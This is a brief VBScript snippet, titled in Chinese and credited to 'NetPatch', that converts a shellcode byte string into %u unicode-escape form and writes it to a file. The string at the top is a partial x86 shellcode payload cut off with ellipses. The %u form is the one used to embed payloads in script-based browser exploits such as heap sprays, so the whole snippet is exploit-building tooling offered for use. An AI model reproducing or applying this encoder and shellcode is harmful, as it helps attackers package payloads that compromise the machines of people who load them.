vbs shellcode转换escape加密

1. 'code by NetPatch  
2.  
3. code="\x29\xc9\x83\xe9\xa1\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x92\x06\x5b\x18\x83\xeb\xfc\xe2\xf4\x79\x16\x01\x52\xa1\xcf\x3d\xa1\xae\x07\xdb\x2c\x98\x9f\xb9\xe2\x79\x03\xb3\xf3\x6d\xf9\xa4\x68\xde\x9f\xc2\x81\x51\xfb\x63\xb1\x0b\x9f\xc2\x0a\x4b\x93\x49\xf1\x17\x32\x49\xc1\x03\x14\x1a\x0a\x78\xa3\…………………………"  
4. function replaceregex(str)   
5. set regex=new regExp   
6. regex.pattern="\\x(..)\\x(..)"  
7. regex.IgnoreCase=true   
8. regex.global=true   
9. matches=regex.replace(str,"%u$2$1")   
10. replaceregex=matches   
11. end Function  
12. set fso=CreateObject("scripting.filesystemobject")  
13. set fileS=fso.opentextfile("a.txt",8,true)  
14. fileS.writeline replaceregex(code)  
15. files.close  
16. set fso=nothing